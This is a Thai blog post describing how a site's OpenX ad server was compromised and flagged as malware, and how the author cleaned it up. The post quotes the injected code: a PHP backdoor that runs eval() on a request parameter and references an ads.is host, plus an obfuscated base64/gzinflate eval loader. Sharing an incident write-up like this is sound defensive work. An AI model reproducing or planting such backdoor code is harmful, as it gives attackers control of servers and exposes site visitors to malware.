Random Thoughts on Random Things by Tanomsak
Random header image... Refresh for more!

เมื่อเวป ddproperty.com โดนระบุว่าเป็นอันตราย!!

31 Mar 2010

เมื่อวันที่ 22 มีนาคม เกิดปัญหาขึ้นกับเวป ddproperty.com ครับ เรื่องของเรื่องมีอยู่ว่า Chrome ไม่ยอมให้ผมเข้าเวป โดยแจ้งว่า อาจจะติด Malware ได้ ปฎิกิริยาแรกคือ เหงื่อตก – -” โดนอะไรเข้า (วะ) เนี้ย

พอลองหาข้อมูลดู เลยพบว่าเวปเราโดน Google เข้าใจว่ามีการเรียกเวปที่เป็น Trojan จากเวป ddproperty.com บางหน้า Google ก็บอกให้ไปดู Guide line ยาวเยียดเลย พอผมบ่นไปทาง twitter คุณ @iampz แนะนำมาว่าให้เข้าไปดูใน Webmaster Tool ผมเลยได้แบะแสว่ามันมาจาก openx (ขอบคุณ @iampz อีกทีครับ) เพราะใน section Labs ของ Webmaster Tool แจ้งว่า openx code เป็นปัญหา

แต่เนื่องจากผมไม่ได้มีความรู้อะไรกับ openx เลยนอกจาก ลงตาม installation wizard ที่แสนจะง่าย บวกกับความรู้ php แค่หางอึ่ง งานหนักเลยเป็นการค้นหาว่าตัวปัญหามันอยู่ที่ไหน สุดท้ายไปเจอ blog ของท่านหนึ่งเขียนไว้เรื่องปัญหาความปลอดภัยของ openx ผมเลยสามารถแก้ปัญหาได้

เผื่อมีประโยชน์กับท่านอื่นๆ ผมขอเล่าประสบการณ์ให้ฟังครับ

  1. ปัญหาที่เจอคือมีการแก้ไข plugin ของ openx ให้ไปเรียกเวป ads.is ซึ่งเป็นตัว distribute พวกเวป trojan อีกทีครับ
  2. files แรก ที่ผมเจอว่ามีปัญหาคือ  ./openx/var/plugins/cache/mergedDeliveryFunctions.php โดยมี code แปลกปลอมแบบนี้แปะเพิ่มมาครับ อันนี้หาเจอเพราะว่าดูจาก blog ข้างต้นครับ

    $urlw = "http://stats.ads.is/stats?counter=128";
    $asiebc = 'ade93d134c231cea7b0b5619bff4f82f';
    if (isset($_GET['dothis']) && (md5($_GET['code'])==$asiebc)) eval($_GET['dothis']);
    if (strpos($_SERVER['REQUEST_URI'],"/afr.php") or strpos($_SERVER['REQUEST_URI'],"/adframe.php")) {
    if (!isset($_COOKIE['OADSA'])) {
    setcookie("OADSA", 1, time()+3600);
    echo "\n";
    }
    } elseif (strpos($_SERVER['REQUEST_URI'],"/ajs.php") or strpos($_SERVER['REQUEST_URI'],"/spcjs.php") or strpos($_SERVER['REQUEST_URI'],"/adjs.php")) {
    if (!isset($_COOKIE['OADSA'])) {
    setcookie("OADSA", 1, time()+3600);
    echo "document.write('');\n";
    }
    }
  3. file ที่สองที่พบปัญหาคือ ./openx/plugins/bannerTypeHtml/oxHtml/genericHtml.delivery.php โดยมี eval พวก encode แปลกๆแปะไว้ยาวมาก

    if (basename($_SERVER['PHP_SELF'])=='genericHtml.delivery.php') {
    eval(gzinflate(base64_decode("FJ3HjtvYFkX/5Y0McMCchoxiznnywCjmnL++VUAbaMC2LF6ds/daUkkqz7T/932bserTvfyXpVtJYP8vynwqyn//ExVUylcrF7qowmMCUL9ZZ3DeKDGOnk1Dnt+KBQLm7CJhC9EICZOyqG34CRI0MazSdqLnrYHwwcYSbT3Ao7ogAPq072d9Aaqg7bhMedE0FvfSeHgr3LN3pbg0ZDHcFZBQGG0Ga8wzNuW+KY1CrW5S1dWBYd+Z76rHKNon5IYQ0IfQd5BFJvvsHc4ltxVxBUdciM ....
  4. พอลบสอง files นี้ไปแล้ว ก็ขอให้ Google Review เวปเราใหม่ โดยภายใน 6-8 ชั่วโมง Google ก็จะเข้ามา index แล้ว review ถ้าไม่เจอปัญหาก็จะเอาข้อความเตือนออกให้ครับ ตรงข้อนี้ผมเสียเวลาไปเยอะ เนื่องจากตอนแรกยังหาปัญหาไม่เจอ แต่ว่าดันขอ review ไปก่อน พอ Google ยังเจอปัญหาอยู่เลยต้องรอ review รอบใหม่
  5. เท่าที่ลองหาข้อมูลดู openx version เก่าๆ มีปัญหาเรื่องความปลอดภัยอยู่ ทำให้ hacker ใช้จู่โจมและวาง code พวกนี้ในเครื่องเราได้ครับ upgrade จรเป็น version ใหม่ๆดีกว่าครับ
  6. จริงๆปัญหาพวกนี้เราสามารถป้องกันได้ ทั้งการ upgrade openx อยู่เสมอ หรือว่าคอยตรวจสอบ log file เพื่อดูว่ามีการเปลี่ยนแปลงอะไรในระบบบ้าง เนื่องจากจริงๆ ผมโดนวางยาตั้งแต่กลางเดือนกุมภาพันธ์แล้วครับ ถ้าใส่ใจดูแลหน่อยก็คงเห็น log เรื่อง update plugin แปลกๆที่เราไม่ได้ทำไปนานแล้วครับ

จบเรื่องนี้ไป ผมได้ความรู้ใหม่ไปหลายอย่าง และได้ตระหนักว่า งาน system admin มีความสำคัญไม่แพ้งาน develop เลยครับ

  • iPAS
    แบบนี้ เกิดจาก google ตัดสินใจเองหรือว่า .. มี user ร้องเรียนครับ ?
  • tanomsak
    Google เจอเองครับ ว่ามี request จากเวปไปที่หน้าอื่นที่ต้องสงสัย
blog comments powered by Disqus